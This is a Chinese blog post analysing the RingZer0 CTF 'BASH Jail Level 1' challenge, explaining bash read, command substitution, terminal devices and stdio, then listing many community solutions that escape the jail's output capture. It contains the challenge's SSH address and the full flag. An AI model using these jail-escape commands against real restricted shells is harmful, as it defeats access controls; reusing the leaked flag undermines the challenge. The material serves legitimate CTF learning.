由一道bash jail题引出的琐事@_@

关键词:Terminal devices、shell、stdio

题目入口:

(需要注册)

root@kali:~# ssh level1@24.37.41.154 -p 1016
level1@24.37.41.154's password: 

RingZer0 Team Online CTF

BASH Jail Level 1:
Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)

Flag is located at /home/level1/flag.txt

Challenge bash code:
-----------------------------

while :
do
	echo "Your input:"
	read input
	output=`$input`
done 

-----------------------------
Your input:

先说几个关键点和概念问题,然后再分析writeup,请耐着性子看完吧 😉

1. bash code中的关键点:

(文档中的重点用粗体标出)

  • read

参考文档:

This is a BASH shell builtin.

One line is read from the standard input, and the first word is assigned to the first name, the second word to the second name, and so on, with leftover words and their intervening separators assigned to the last name.

If there are fewer words read from the standard input than names, the remaining names are assigned empty values.

The characters in the value of the IFS variable are used to split the line into words.

The backslash character '\' can be used to remove any special meaning for the next character read and for line continuation.

If no names are supplied, the line read is assigned to the variable REPLY. The return code is zero, unless end-of-file is encountered or read times out.


  • Command Substitution (这题使用``)

参考文档:

Command substitution allows the output of a command to replace the command itself. Command substitution occurs when a command is enclosed as follows:

$(command)

or

`command`

Bash performs the expansion by executing command in a subshell environment and replacing the command substitution with the standard output of the command, with any trailing newlines deleted. Embedded newlines are not deleted, but they may be removed during word splitting. The command substitution $(cat file) can be replaced by the equivalent but faster $(< file).

When the old-style backquote form of substitution is used, backslash retains its literal meaning except when followed by ‘$’, ‘`’, or ‘\’. The first backquote not preceded by a backslash terminates the command substitution. When using the $(command) form, all characters between the parentheses make up the command; none are treated specially.

Command substitutions may be nested. To nest when using the backquoted form, escape the inner backquotes with backslashes.

If the substitution appears within double quotes, word splitting and filename expansion are not performed on the results.


  • read会将输入进行转义

示例:

root@kali:~/tmp echo `cat passwd`
***********frankunder**************
root@kali:~/tmp echo `cat passwd 1>&2` (此时为标准错误输出)
***********frankunder**************

root@kali:~/tmp echo `cat passwd 1\>\&2`
cat: '1>&2': No such file or directory(这是stderr)
***********frankunder**************(这是stdout)
root@kali:~/tmp read input
cat passwd 1>&2
root@kali:~/tmp echo $input
cat passwd 1>&2
root@kali:~/tmp echo `$input`
cat: '1>&2': No such file or directory
***********frankunder**************

root@kali:~/tmp 注:在当前文件夹下面有一个passwd文件

2. Terminal devices的一些概念(转)

  • 简单说:

1> tty(终端设备的统称):
tty一词源于Teletypes,或者teletypewriters,原来指的是电传打字机,是通过串行线用打印机键盘通过阅读和发送信息的东西,后来这东西被键盘与显示器取代,所以现在叫终端比较合适。
终端是一种字符型设备,它有多种类型,通常使用tty来简称各种类型的终端设备。

2> pty(虚拟终端):
但是如果我们远程telnet到主机或使用xterm时不也需要一个终端交互么?是的,这就是虚拟终端pty(pseudo-tty)

3> pts/ptmx(pts/ptmx结合使用,进而实现pty):
pts(pseudo-terminal slave)是pty的实现方法,与ptmx(pseudo-terminal master)配合使用实现pty。


  • 详细分析

在Linux系统的设备特殊文件目录/dev/下,终端特殊设备文件一般有以下几种:
1、串行端口终端(/dev/ttySn)
串行端口终端(Serial Port Terminal)是使用计算机串行端口连接的终端设备。计算机把每个串行端口都看作是一个字符设备。有段时间这些串行端口设备通常被称为终端设备,因为那时它的最大用途就是用来连接终端。这些串行端口所对应的设备名称是/dev/tts/0(或/dev/ttyS0), /dev/tts/1(或/dev/ttyS1)等,设备号分别是(4,0), (4,1)等,分别对应于DOS系统下的COM1、COM2等。若要向一个端口发送数据,可以在命令行上把标准输出重定向到这些特殊文件名上即可。例如,在命令行提示符下键入:echo test > /dev/ttyS1会把单词”test”发送到连接在ttyS1(COM2)端口的设备上。可接串口来实验。

2、伪终端(/dev/pty/)(新的发行版好像去掉了这个文件夹)
伪终端(Pseudo Terminal)是成对的逻辑终端设备(即master和slave设备, 对master的操作会反映到slave上)。
例如/dev/ptyp3和/dev/ttyp3(或者在设备文件系统中分别是/dev/pty/m3和 /dev/pty/s3)。它们与实际物理设备并不直接相关。如果一个程序把ptyp3(master设备)看作是一个串行端口设备,则它对该端口的读/ 写操作会反映在该逻辑终端设备对应的另一个ttyp3(slave设备)上面。而ttyp3则是另一个程序用于读写操作的逻辑设备。

这样,两个程序就可以通过这种逻辑设备进行互相交流,而其中一个使用ttyp3的程序则认为自己正在与一个串行端口进行通信。这很象是逻辑设备对之间的管道操作。对于ttyp3(s3),任何设计成使用一个串行端口设备的程序都可以使用该逻辑设备。但对于使用ptyp3的程序,则需要专门设计来使用 ptyp3(m3)逻辑设备。

例如,如果某人在网上使用telnet程序连接到你的计算机上,则telnet程序就可能会开始连接到设备 ptyp2(m2)上(一个伪终端端口上)。此时一个getty程序就应该运行在对应的ttyp2(s2)端口上。当telnet从远端获取了一个字符时,该字符就会通过m2、s2传递给 getty程序,而getty程序就会通过s2、m2和telnet程序往网络上返回”login:”字符串信息。这样,登录程序与telnet程序就通过“伪终端”进行通信。通过使用适当的软件,就可以把两个甚至多个伪终端设备连接到同一个物理串行端口上。

在使用设备文件系统 (device filesystem)之前,为了得到大量的伪终端设备特殊文件,使用了比较复杂的文件名命名方式。因为只存在16个ttyp(ttyp0—ttypf) 的设备文件,为了得到更多的逻辑设备对,就使用了象q、r、s等字符来代替p。例如,ttys8和ptys8就是一个伪终端设备对。不过这种命名方式目前仍然在RedHat等Linux系统中使用着。

但Linux系统上的Unix98并不使用上述方法,而使用了”pty master”方式,例如/dev/ptm3。它的对应端则会被自动地创建成/dev/pts/3。这样就可以在需要时提供一个pty伪终端。目录 /dev/pts是一个类型为devpts的文件系统,并且可以在被加载文件系统列表中看到。虽然“文件”/dev/pts/3看上去是设备文件系统中的一项,但其实它完全是一种不同的文件系统。
即: TELNET ---> TTYP3(S3: slave) ---> PTYP3(M3: master) ---> GETTY

实验:
1、在X下打开一个或N个终端窗口
2、#ls /dev/pt*
3、关闭这个X下的终端窗口,再次运行;比较两次输出信息就明白了。
在RHEL4环境下: 输出为/dev/ptmx /dev/pts/1存在一(master)对多(slave)的情况

3、控制终端(/dev/tty)
如果当前进程有控制终端(Controlling Terminal)的话,那么/dev/tty就是当前进程的控制终端的设备特殊文件。可以使用命令”ps –ax”来查看进程与哪个控制终端相连。对于你登录的shell,/dev/tty就是你使用的终端,设备号是(5,0)。使用命令”tty”可以查看它具体对应哪个实际终端设备。/dev/tty有些类似于到实际所使用终端设备的一个联接。

4、控制台终端(/dev/ttyn, /dev/console)
在Linux 系统中,计算机显示器通常被称为控制台终端 (Console)。它仿真了类型为Linux的一种终端(TERM=Linux),并且有一些设备特殊文件与之相关联:tty0、tty1、tty2 等。当你在控制台上登录时,使用的是tty1。使用Alt+[F1—F6]组合键时,我们就可以切换到tty2、tty3等上面去。tty1–tty6等称为虚拟终端,而tty0则是当前所使用虚拟终端的一个别名,系统所产生的信息会发送到该终端上(这时也叫控制台终端)。因此不管当前正在使用哪个虚拟终端,系统信息都会发送到控制台终端上。你可以登录到不同的虚拟终端上去,因而可以让系统同时有几个不同的会话期存在。只有系统或超级用户root可以向 /dev/tty0进行写操作 即下例:
1、# tty(查看当前TTY)
/dev/tty1
2、#echo "test tty0" > /dev/tty0
test tty0

5 虚拟终端(/dev/pts/n)
在Xwindows模式下的伪终端.

6 其它类型
Linux系统中还针对很多不同的字符设备存在有很多其它种类的终端设备特殊文件。例如针对ISDN设备的/dev/ttyIn终端设备等。这里不再赘述。

FAQ: 终端和控制台

Q:/dev/console 是什么?

A:/dev/console即控制台,是与操作系统交互的设备,系统将一些信息直接输出到控制台上。目前只有在单用户模式下,才允许用户登录控制台。

Q:/dev/tty是什么?

A:tty设备包括虚拟控制台,串口以及伪终端设备。
/dev/tty代表当前tty设备,在当前的终端中输入 echo “hello” > /dev/tty ,都会直接显示在当前的终端中。

Q:/dev/ttyS*是什么?

A:/dev/ttyS*是串行终端设备。

Q:/dev/pty*是什么?

A:/dev/pty*即伪终端,所谓伪终端是逻辑上的终端设备,多用于模拟终端程序。例如,我们在X Window下打开的终端,以及我们在Windows使用telnet 或ssh等方式登录Linux主机,此时均在使用pty设备(准确的说在使用pty从设备)。

Q:/dev/tty0与/dev/tty1 …/dev/tty63是什么?它们之间有什么区别?

A:/dev/tty0代表当前虚拟控制台,而/dev/tty1等代表第一个虚拟控制台,例如当使用ALT+F2进行切换时,系统的虚拟控制台为/dev/tty2 ,当前的控制台则指向/dev/tty2

Q:如何确定当前所在的终端(或控制台)?

A:使用tty命令可以确定当前的终端或者控制台。

Q:/dev/console是到/dev/tty0的符号链接吗?

A: 目前的大多数文本中都称/dev/console是到/dev/tty0的链接(包括《Linux内核源代码情景分析》),但是这样说是不确切的。根据内核文档,在2.1.71之前,/dev/console根据不同系统的设定可以链接到/dev/tty0或者其他tty*上,在2.1.71版本之后则完全由内核控制。目前,只有在单用户模式下可以登录/dev/console(可以在单用户模式下输入tty命令进行确认)。

Q:/dev/tty0与/dev/fb*有什么区别?

A: 在Framebuffer设备没有启用的系统中,可以使用/dev/tty0访问显卡。

Q:关于终端和控制台的区别可以参考哪些文本

A: 可以参考内核文档中的 Documents/devices.txt 中关于”TERMINAL DEVICES” 的章节。另外,《Linux内核源代码情景分析》的8.7节 以及《Operating Systems : Design and Implementation》中的3.9节(第3版中为3.8节)都对终端设备的概念和历史做了很好的介绍。另外在《Modern Operating system》中也有对终端设备的介绍,由于与《Operating Systems : Design and Implementation》的作者相同,所以文本内容也大致相同。需要注意的一点是《Operating Systems : Design and Implementation》中将终端设备分为3类,而《Modern Operating system》将终端硬件设备分为2类,差别在于前者将 X Terminal作为一个类别。


有功夫的话看看这个吧:

kernel.org上的文档:

Terminal devices

Terminal, or TTY devices are a special class of character devices. A terminal device is any device that could act as a controlling terminal for a session; this includes virtual consoles, serial ports, and pseudoterminals (PTYs).

All terminal devices share a common set of capabilities known as line disciplines; these include the common terminal line discipline as well as SLIP and PPP modes.

All terminal devices are named similarly; this section explains the naming and use of the various types of TTYs. Note that the naming conventions include several historical warts; some of these are Linux-specific, some were inherited from other systems, and some reflect Linux outgrowing a borrowed convention.

A hash mark (#) in a device name is used here to indicate a decimal number without leading zeroes.

Virtual consoles and the console device

Virtual consoles are full-screen terminal displays on the system video monitor. Virtual consoles are named /dev/tty#, with numbering starting at /dev/tty1; /dev/tty0 is the current virtual console. /dev/tty0 is the device that should be used to access the system video card on those architectures for which the frame buffer devices (/dev/fb*) are not applicable. Do not use /dev/console for this purpose.

The console device, /dev/console, is the device to which system messages should be sent, and on which logins should be permitted in single-user mode. Starting with Linux 2.1.71, /dev/console is managed by the kernel; for previous versions it should be a symbolic link to either /dev/tty0, a specific virtual console such as /dev/tty1, or to a serial port primary (tty, not cu) device, depending on the configuration of the system.

Serial ports

Serial ports are RS-232 serial ports and any device which simulates one, either in hardware (such as internal modems) or in software (such as the ISDN driver.) Under Linux, each serial ports has two device names, the primary or callin device and the alternate or callout one. Each kind of device is indicated by a different letter. For any letter X, the names of the devices are /dev/ttyX# and /dev/cux#, respectively; for historical reasons, /dev/ttyS# and /dev/ttyC# correspond to /dev/cua# and /dev/cub#. In the future, it should be expected that multiple letters will be used; all letters will be upper case for the “tty” device (e.g. /dev/ttyDP#) and lower case for the “cu” device (e.g. /dev/cudp#).

The names /dev/ttyQ# and /dev/cuq# are reserved for local use.

The alternate devices provide for kernel-based exclusion and somewhat different defaults than the primary devices. Their main purpose is to allow the use of serial ports with programs with no inherent or broken support for serial ports. Their use is deprecated, and they may be removed from a future version of Linux.

Arbitration of serial ports is provided by the use of lock files with the names /var/lock/LCK..ttyX#. The contents of the lock file should be the PID of the locking process as an ASCII number.

It is common practice to install links such as /dev/modem which point to serial ports. In order to ensure proper locking in the presence of these links, it is recommended that software chase symlinks and lock all possible names; additionally, it is recommended that a lock file be installed with the corresponding alternate device. In order to avoid deadlocks, it is recommended that the locks are acquired in the following order, and released in the reverse:

  1. The symbolic link name, if any (/var/lock/LCK..modem)
  2. The “tty” name (/var/lock/LCK..ttyS2)
  3. The alternate device name (/var/lock/LCK..cua2)

In the case of nested symbolic links, the lock files should be installed in the order the symlinks are resolved.

Under no circumstances should an application hold a lock while waiting for another to be released. In addition, applications which attempt to create lock files for the corresponding alternate device names should take into account the possibility of being used on a non-serial port TTY, for which no alternate device would exist.

Pseudoterminals (PTYs)

Pseudoterminals, or PTYs, are used to create login sessions or provide other capabilities requiring a TTY line discipline (including SLIP or PPP capability) to arbitrary data-generation processes. Each PTY has a master side, named /dev/pty[p-za-e][0-9a-f], and a slave side, named /dev/tty[p-za-e][0-9a-f]. The kernel arbitrates the use of PTYs by allowing each master side to be opened only once.

Once the master side has been opened, the corresponding slave device can be used in the same manner as any TTY device. The master and slave devices are connected by the kernel, generating the equivalent of a bidirectional pipe with TTY capabilities.

Recent versions of the Linux kernels and GNU libc contain support for the System V/Unix98 naming scheme for PTYs, which assigns a common device, /dev/ptmx, to all the masters (opening it will automatically give you a previously unassigned PTY) and a subdirectory, /dev/pts, for the slaves; the slaves are named with decimal integers (/dev/pts/# in our notation). This removes the problem of exhausting the namespace and enables the kernel to automatically create the device nodes for the slaves on demand using the “devpts” filesystem.

3. stdio与Terminal devices的关系

  • 示例
root@kali:~# ll /dev/pts/
total 0
drwxr-xr-x  2 root root      0 Jun 19 17:58 .
drwxr-xr-x 20 root root   3260 Jun 20 11:25 ..
crw--w----  1 root tty  136, 0 Jun 20 11:47 0
crw--w----  1 root tty  136, 1 Jun 20 11:42 1
crw--w----  1 root tty  136, 2 Jun 20 12:09 2
crw--w----  1 root tty  136, 3 Jun 20 12:09 3
crw--w----  1 root tty  136, 4 Jun 20 11:47 4
crw--w----  1 root tty  136, 5 Jun 20 11:47 5
crw--w----  1 root tty  136, 6 Jun 20 11:47 6
crw--w----  1 root tty  136, 7 Jun 20 11:57 7
crw--w----  1 root tty  136, 8 Jun 20 12:22 8
crw--w----  1 root tty  136, 9 Jun 20 12:51 9
c---------  1 root root   5, 2 Jun 19 17:58 ptmx
root@kali:~# tty
/dev/pts/9
root@kali:~# ll /dev | grep std
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stderr -> /proc/self/fd/2
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stdin -> /proc/self/fd/0
lrwxrwxrwx   1 root       root            15 Jun 19 17:58 stdout -> /proc/self/fd/1
root@kali:~# ll /proc/self/fd/
total 0
dr-x------ 2 root root  0 Jun 20 12:52 .
dr-xr-xr-x 9 root root  0 Jun 20 12:52 ..
lrwx------ 1 root root 64 Jun 20 12:52 0 -> /dev/pts/9
lrwx------ 1 root root 64 Jun 20 12:52 1 -> /dev/pts/9
lrwx------ 1 root root 64 Jun 20 12:52 2 -> /dev/pts/9
lr-x------ 1 root root 64 Jun 20 12:52 3 -> /proc/29513/fd
root@kali:~# 

如上图,我在X Windows下开了9个“虚假”terminal,目前用的这个是第9个,stdio最终软连接到/dev/pts/9,表明标准输出均输出到目前的这个terminal中。

4. Terminal与shell的关系

简单来说:

  • terminal = tty = text input/output environment
  • console = physical terminal
  • shell = command line interpreter

所以,我们在terminal里面执行bash,只能说是打开了一个subshell,而不能说是新开了一个terminal/tty。terminal是一个“设备”,shell是一个交互软件,用于和内核交流,我们的shell依托于terminal这个”设备“进行显示和接受输入。

5. 对题目和writeup的分析

(感谢一航同志提供汇总后的writeups http://www.jianshu.com/u/bf30f18c872c

分析:
这道题的执行流程为 循环{ read->转义->变量input 将input在subshell中执行输出的stdout赋值给变量output 如果输出中存在stderr,则将stderr输出到/dev/pts/下对应的master side 即当前使用的”虚假“terminal/tty}。因此我们在通常情况下只能看到stderr的输出,看不到stdout输出(赋值给了变量)。
由此考虑以下两个大方向:
1.将flag的内容作为非stdout流输出。(与shell程序不产生关系,流不会被截获)
2.绕过bash code中的赋值语句,手动将flag内容输出到当前控制tty中(与shell的程序不产生关系,流不会被截获)。

值得注意的是,像bash和python这样能够产生交互的命令,它们执行的时候产生的提示语句通常输出为stderr(不知道为啥,感兴趣的同学可以查一查),例如:

root@kali:~/tmp python 2> stderr
>>> This is a test sentence
>>> >>> root@kali:~/tmp# 
root@kali:~/tmp cat stderr 
Python 2.7.13 (default, Jan 19 2017, 14:48:08) 
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
  File "<stdin>", line 1
    This is a test sentence
                 ^
SyntaxError: invalid syntax

KeyboardInterrupt

root@kali:~/tmp# 

所以除了使用像”&> >&“这种重定向bash语句外,我们也可以使用使用一些带有交互的命令执行flag文件,产生的错误流中通常就有对应的flag内容。另外,如果要使用>&,由于read对输入进行了转义,应该另开一个shell/bash再使用(eval除外)。

以下的writeups有一些的步骤是没有必要的或者重复的,大家不必纠结,思路对了就行。

0x00
Your input:
bash flag.txt
flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1,利用bash的提示语句为stderr进行反显。
0x01
Your input:
dd if=/home/level1/flag.txt of=/dev/tty
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
0+1 records in
0+1 records out
38 bytes (38 B) copied, 0.0010536 s, 36.1 kB/s

- 方向2,绕过shell,直接将flag内容输出到当前的执行tty,同时dd语句中没有特殊字符,不用顾忌转义的问题。
0x02
Your input:
bash
level1@lxc17-bash-jail:~$ cat flag.txt 1>&2
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
level1@lxc17-bash-jail:~$

- 方向1,由于转义的问题,新开一个bash将flag内容定向到错误流中进行返显。
0x03
Your input:
bash
level1@lxc17-bash-jail:~$ cat flag.txt > /dev/tty
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向2,不过由于使用的重定向语句>, 需要在新开的shell/bash中使用>,避免转义的问题。
0x04

man page for eval
eval会把后面的字符串递归进行变量替换并在当前shell尝试执行这个字符串
所以不必担心转义的问题,因为eval本身要求的参数就是将字符串。

Your input:
eval cat /home/level1/flag.txt >&2
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x05

man bash:

 -x      After expanding each simple command, for command, case command, select command, or  arithmetic  for command, display the expanded value of **PS4**, followed by the command and its expanded arguments or associated word list.
 
       PS0    The value of this parameter is expanded (see PROMPTING below) and displayed by interac‐tive shells after reading a command and before the command is executed.
       PS1    The value of this parameter is expanded (see PROMPTING below) and used as  the  primary prompt string.  The default value is ``\s-\v\$ ''.
       PS2    The  value  of  this parameter is expanded as with PS1 and used as the secondary prompt string.  The default is ``> ''.
       PS3    The value of this parameter is used as the prompt for the  select  command  (see  SHELL GRAMMAR above).
       PS4    The  value  of  this  parameter is expanded as with PS1 and the value is printed before each command bash displays during an execution trace.  The first character  of  PS4  is replicated  multiple  times,  as necessary, to indicate multiple levels of indirection. The default is ``+ ''.

参考: https://stackoverflow.com/questions/10107124/bash-x-command

Your input:
bash -x prompt.sh
+ echo
+ echo -e '\033[0;34mRingZer0 Team Online CTF\033[0m'
+ echo
+ echo 'BASH Jail Level 1:'
++ id
+ echo 'Current user is uid=1000(level1) gid=1000(level1) groups=1000(level1)'
+ echo
++ pwd
+ echo 'Flag is located at /home/level1/flag.txt'
+ echo
+ echo 'Challenge bash code:'
+ echo -----------------------------
+ echo -e '\033[0;31m'
+ sed -e 1,19d
+ echo -e '\033[0m'
+ echo -----------------------------
+ :
+ echo 'Your input:'
+ read input
cat flag.txt
++ cat flag.txt
+ output=FLAG-U96l4k6m72a051GgE5EN0rA85499172K
+ :
+ echo 'Your input:'
+ read input

- 方向1,在新的shell中(还是初始的shell,但是在这种环境下会显示执行的情况,output的值以stderr的流输出)
0x06

这个方法很有意思,大家可能会想说为什么要定向到标准输入流中,请回看”3. stdio与Terminal devices的关系“,其中显示,其实三个sidio都是默认输出到当前tty的,但是程序吧stdout截获了赋值给变量,所以其实我们重定向到0或者2都是可以回显的。

Your input:
bash
level1@lxc17-bash-jail:~$  cat flag.txt >&0
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x07
Your input:
bash
level1@lxc17-bash-jail:~$ awk '{system("wc "$1)}' /home/level1/flag.txt 
wc: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x08
Your input:
bash
level1@lxc17-bash-jail:~$ cat `cat flag.txt`
cat: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x09
Your input:
bash
level1@lxc17-bash-jail:~$ PS1=$(cat flag.txt)
FLAG-U96l4k6m72a051GgE5EN0rA85499172KA

- 方向1,PS1在第5题中有解释,是一个提示符。 
0x0A
Your input:
bash
level1@lxc17-bash-jail:~$ arp -f -v /home/level1/flag.txt
>> FLAG-U96l4k6m72a051GgE5EN0rA85499172K
arp: format error on line 1 of etherfile /home/level1/flag.txt !

- 方向1
0x0B

这个解法也很有意思。
tty这个命令会显示当前使用的tty在dev下的绝对路径,eval是用来避开转义的(上面有讲到)。
其实eval $(vi passwd > tty)就可以啦。如果流的输出不是一个tty,vim会向tty输出stderr流。

Your input:
eval $(vi /home/level1/flag.txt < `tty` > `tty`)

- 方法2
0x0C
Your input:
eval `cat /home/level1/flag.txt`
/home/level1/prompt.sh: line 24: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x0D
Your input:
bash
level1@lxc17-bash-jail:~$ (>&2 grep [a-zA-Z] flag.txt)
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 方向1
0x0E
Your input:
python
Python 2.7.6 (default, Jun 22 2015, 17:58:13) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.stdout = sys.stderr
>>> with open("flag.txt", "r") as f:
...     print f.read()
... 
FLAG-U96l4k6m72a051GgE5EN0rA85499172K
>>>

- 方向1
0x0F
Your input:
. /home/level1/flag.txt
/home/level1/flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found
0x10
Your input:
source /home/level1/flag.txt
/home/level1/flag.txt: line 1: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

-方向1 不过要求flag.txt具有执行权限
0x11
Your input:
bash
level1@lxc17-bash-jail:~$ bash >&2
level1@lxc17-bash-jail:~$ cat /home/level1/flag.txt
FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x12
Your input:
bash
level1@lxc17-bash-jail:~$ $(cat /home/level1/flag.txt)
bash: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x13

哈哈 这个解法让我大吃了一斤。。。
默认情况下的文件描述符:
0 - stdin
1 - stdout
2 - stderr
该解法新建了一个文件描述符3,并将stdout流重定向到3(最终也是软连接到当前使用的”虚假“tty),所以shell程序不会截获流并赋值给变量。

Your input:
sh
sh-4.3$ cat flag.txt >&3
FLAG-U96l4k6m72a051GgE5EN0rA85499172K

- 既不是方向1的stderr流,也不是方向2的直接导向/dev/tty。
0x14
Your input:
bash
level1@lxc17-bash-jail:~$ a'|'"ls -la $SHELL;`cat $HOME/flag.txt`"
bash: a|ls -la /home/level1/prompt.sh;FLAG-U96l4k6m72a051GgE5EN0rA85499172K: No such file or directory

- 方向1
0x15
Your input:
python flag.txt
Traceback (most recent call last):
  File "flag.txt", line 1, in <module>
    FLAG-U96l4k6m72a051GgE5EN0rA85499172K
NameError: name 'FLAG' is not defined

- 方向1
0x16
Your input:
bash
level1@lxc17-bash-jail:~$ `ls`
bash: flag.txt: command not found
level1@lxc17-bash-jail:~$ `cat flag.txt`
bash: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1
0x17
Your input:
eval "$(cat flag.txt)"
/home/level1/prompt.sh: line 24: FLAG-U96l4k6m72a051GgE5EN0rA85499172K: command not found

- 方向1

有错误的地方还请多多指教 😉

6. 参考 感谢:

  1. https://ss64.com/bash/read.html
  2. https://tiswww.case.edu/php/chet/bash/bashref.html#Shell-Expansions
  3. http://www.linfo.org/standard_error.html
  4. https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con
  5. http://www.readfree.net/htm/200908/4786353.html
  6. https://www.kernel.org/doc/html/latest/admin-guide/devices.html
posted @ 2017-06-21 10:24  QiuhaoLi  阅读(1252)  评论(0编辑  收藏  举报